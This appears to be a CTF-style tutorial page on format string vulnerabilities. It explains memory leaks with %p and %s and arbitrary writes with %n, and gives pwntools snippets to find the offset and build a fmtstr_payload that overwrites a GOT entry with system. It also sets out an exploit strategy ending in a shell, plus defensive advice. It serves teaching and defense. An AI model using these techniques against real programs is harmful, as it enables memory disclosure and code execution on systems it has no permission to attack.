Format String
Format string vulnerabilities occur when a program passes attacker-controlled data directly as the format string to functions like printf, instead of using a fixed format. That is, printf(user) instead of printf("%s", user). Since format specifiers (%x, %s, %n) read and write memory, an attacker controlling the string can leak memory (read the stack, addresses, the canary) and, with %n, write to arbitrary memory.
The bug
Section titled “The bug”# VULNERABLE: the user controls the format stringprintf(user_input);# CORRECT: fixed format, the user is just an argumentprintf("%s", user_input);If you input %x %x %x, printf interprets them as specifiers and dumps stack values that never existed as arguments.
Memory read (leak)
Section titled “Memory read (leak)”# dump stack values%x %x %x %x ... # values in hex%p %p %p %p # as pointers (better on 64-bit)# direct positional access (the N-th argument)%7$p # the 7th stack value# read a string at an address%s # reads the pointed string (can crash if invalid)%7$s # the string pointed to by the 7th argumentUses: leak the canary (bypass the stack protector), leak libc/PIE addresses (bypass ASLR), read the flag if it’s in memory.
# pwntools: find your input's offset on the stackfrom pwn import *for i in range(1,20): p = process('./vuln'); p.sendline(f'AAAA%{i}$p'.encode()) print(i, p.recvline()) # when you see 41414141/0x41414141, that's your offsetMemory write (%n)
Section titled “Memory write (%n)”%n writes to the pointed address the number of bytes printed so far. By controlling how many bytes are printed (with field width, %100c) and the target address, you write arbitrary values:
%n writes an int (4 bytes) %hn writes a short (2 bytes) %hhn 1 byte# technique: control the count with %<N>c and the destination with a stack pointerWith arbitrary write you can: overwrite a GOT entry (see GOT/PLT Overwrite) to redirect a function to system, change a control variable, or overwrite the return address.
pwntools automates it
Section titled “pwntools automates it”from pwn import *# fmtstr_payload computes the payload to write {address: value}payload = fmtstr_payload(offset, {got_printf: addr_system})p.sendline(payload)fmtstr_payload(offset, {addr: value}) automatically generates the format string that writes value to addr, given your input’s offset.
Typical exploit strategy
Section titled “Typical exploit strategy”1. Confirm the vulnerability (input %p %p and see if it dumps the stack)2. Find your input's offset (%N$p until you see your marker)3. LEAK: leak canary, libc and/or PIE (bypass mitigations)4. WRITE (%n / fmtstr_payload): overwrite GOT / retaddr -> redirect to system/one_gadget5. ShellFor the defense
Section titled “For the defense”- Always use a fixed format:
printf("%s", x), neverprintf(x). Same withfprintf,sprintf,syslog, etc. - Compile with warnings (
-Wformat -Wformat-security): the compiler warns on non-constant formats. - FORTIFY_SOURCE limits
%nin format strings in writable memory; Full RELRO protects the GOT. - Code review / SAST to detect user-controlled formats.
Testing checklist
Section titled “Testing checklist”- Confirm format string (%p %p dumps the stack)
- Find your input’s offset (%N$p)
- Leak: canary, libc, PIE (bypass mitigations)
- Arbitrary write with %n / fmtstr_payload
- Overwrite GOT (GOT/PLT Overwrite) or retaddr → system
- Chain leak + write in the same exploit
- Shell/flag locally → remote
- Blue: fixed format, RELRO, FORTIFY?